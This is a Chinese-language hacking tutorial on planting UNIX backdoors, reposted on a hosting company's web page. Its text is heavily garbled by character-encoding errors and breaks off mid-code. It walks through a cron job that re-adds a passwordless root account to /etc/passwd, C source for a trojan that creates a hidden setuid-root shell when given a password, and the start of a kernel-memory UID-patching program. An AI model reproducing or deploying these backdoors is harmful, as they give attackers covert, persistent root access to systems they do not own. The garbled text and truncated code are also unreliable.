創(chuàng)建UNIX后門(mén)(高級(jí)篇) (1) |
發(fā)布時(shí)間: 2012/8/10 18:20:20 |
Crontab 程序?qū)τ谙到y(tǒng)管理員來(lái)說(shuō)是非常有用的。Cron 服務(wù)用于計(jì)劃程序在特定時(shí)間(月、日、周、時(shí)、分)運(yùn)行。如果你足夠聰明,就應(yīng)該加以利用,使之為我們制造“后門(mén)”!通過(guò) Cron 服務(wù),你可以讓它在每天凌晨 2:00 (這個(gè)時(shí)候網(wǎng)管應(yīng)該睡覺(jué)了吧。)運(yùn)行后門(mén)程序,使你能夠輕易進(jìn)入系統(tǒng)干你想干的事,并在網(wǎng)管起來(lái)之前退出系統(tǒng)。根用戶的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下: (1) (2) (3) (4) (5) (6) 0 0 * * 3 /usr/bin/updatedb 1. 分鐘 (0-60) 2. 小時(shí) (0-23) 3. 日 (1-31) 4. 月 (1-12) 5. 星期 (1-7) 6. 所要運(yùn)行的程序 以上內(nèi)容設(shè)置該程序于每星期三 0:0 運(yùn)行。要在 cron 建立后門(mén),只需在 /var/spool/crontab/root 中添加后門(mén)程序即可。例如該程序可以在每天檢查我們?cè)?/etc/passwd 文件中增加了用戶帳號(hào)是否仍然有效。以下是程序示例: 0 0 * * * /usr/bin/retract <++> backdoor/backdoor.sh #!/bin/csh set evilflag = (`grep eviluser /etc/passwd`) if($#evilflag == 0) then set linecount = `wc -l /etc/passwd` cd cp /etc/passwd ./temppass @ linecount[1] /= 2 @ linecount[1] += 1 split -$linecount[1] ./temppass echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd rm ./xa* ./temppass echo Done... else endif <--> [綜合] 當(dāng)然,我們可以編寫(xiě)木馬程序,并把它放到 /bin 目錄下。當(dāng)以特定命令行參數(shù)運(yùn)行時(shí)將產(chǎn)生一個(gè) suid shell。以下是程序示例: <++> backdoor/backdoor3.c #include #define pass "triad" #define BUFFERSIZE 6 int main(argc, argv) int argc; char *argv[];{ int i=0; if(argv[1]){ if(!(strcmp(pass,argv[1]))){ system("cp /bin/csh /bin/.swp121"); system("chmod 4755 /bin/.swp121"); system("chown root /bin/.swp121"); system("chmod 4755 /bin/.swp121"); } } printf("372f: Invalid control argument, unable to initialize. Retrying"); for(;i<10;i++){ fprintf(stderr,"."); sleep(1); } printf("nAction aborted after 10 attempts.n"); return(0); } <--> [變種] 以下程序通過(guò)在內(nèi)存中尋找你所運(yùn)行程序的 UID,并將其改為 0,這樣你就有了一個(gè) suid root shell 了。 <++> backdoor/kmemthief.c #include #include #include #include #include #include #include #define pass "triad" struct user userpage; long address(), userlocation; int main(arg
本文出自:億恩科技【mszdt.com】 服務(wù)器租用/服務(wù)器托管中國(guó)五強(qiáng)!虛擬主機(jī)域名注冊(cè)頂級(jí)提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM] |